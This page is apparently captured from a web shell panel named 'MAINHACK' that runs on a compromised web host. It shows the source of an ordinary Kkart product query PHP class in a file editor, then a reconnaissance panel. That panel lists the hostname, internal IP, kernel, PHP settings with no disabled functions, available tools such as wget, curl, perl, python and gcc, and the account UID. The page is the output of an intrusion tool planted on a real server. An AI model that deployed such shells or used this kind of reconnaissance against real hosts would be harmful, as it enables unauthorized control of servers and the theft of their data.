[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-kkart-product-query.php
File is not writable. Editing disabled.
<?php /** * Class for parameter-based Product querying * * Args and usage: https://github.com/kkart/kkart/wiki/kkart_get_products-and-KKART_Product_Query * * @package Kkart\Classes * @version 3.2.0 * @since 3.2.0 */ defined( 'ABSPATH' ) || exit; /** * Product query class. */ class KKART_Product_Query extends KKART_Object_Query { /** * Valid query vars for products. * * @return array */ protected function get_default_query_vars() { return array_merge( parent::get_default_query_vars(), array( 'status' => array( 'draft', 'pending', 'private', 'publish' ), 'type' => array_merge( array_keys( kkart_get_product_types() ) ), 'limit' => get_option( 'posts_per_page' ), 'include' => array(), 'date_created' => '', 'date_modified' => '', 'featured' => '', 'visibility' => '', 'sku' => '', 'price' => '', 'regular_price' => '', 'sale_price' => '', 'date_on_sale_from' => '', 'date_on_sale_to' => '', 'total_sales' => '', 'tax_status' => '', 'tax_class' => '', 'manage_stock' => '', 'stock_quantity' => '', 'stock_status' => '', 'backorders' => '', 'low_stock_amount' => '', 'sold_individually' => '', 'weight' => '', 'length' => '', 'width' => '', 'height' => '', 'reviews_allowed' => '', 'virtual' => '', 'downloadable' => '', 'category' => array(), 'tag' => array(), 'shipping_class' => array(), 'download_limit' => '', 'download_expiry' => '', 'average_rating' => '', 'review_count' => '', ) ); } /** * Get products matching the current query vars. * * @return array|object of KKART_Product objects */ public function get_products() { $args = apply_filters( 'kkart_product_object_query_args', $this->get_query_vars() ); $results = KKART_Data_Store::load( 'product' )->query( $args ); return apply_filters( 'kkart_product_object_query', $results, $args ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.95 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A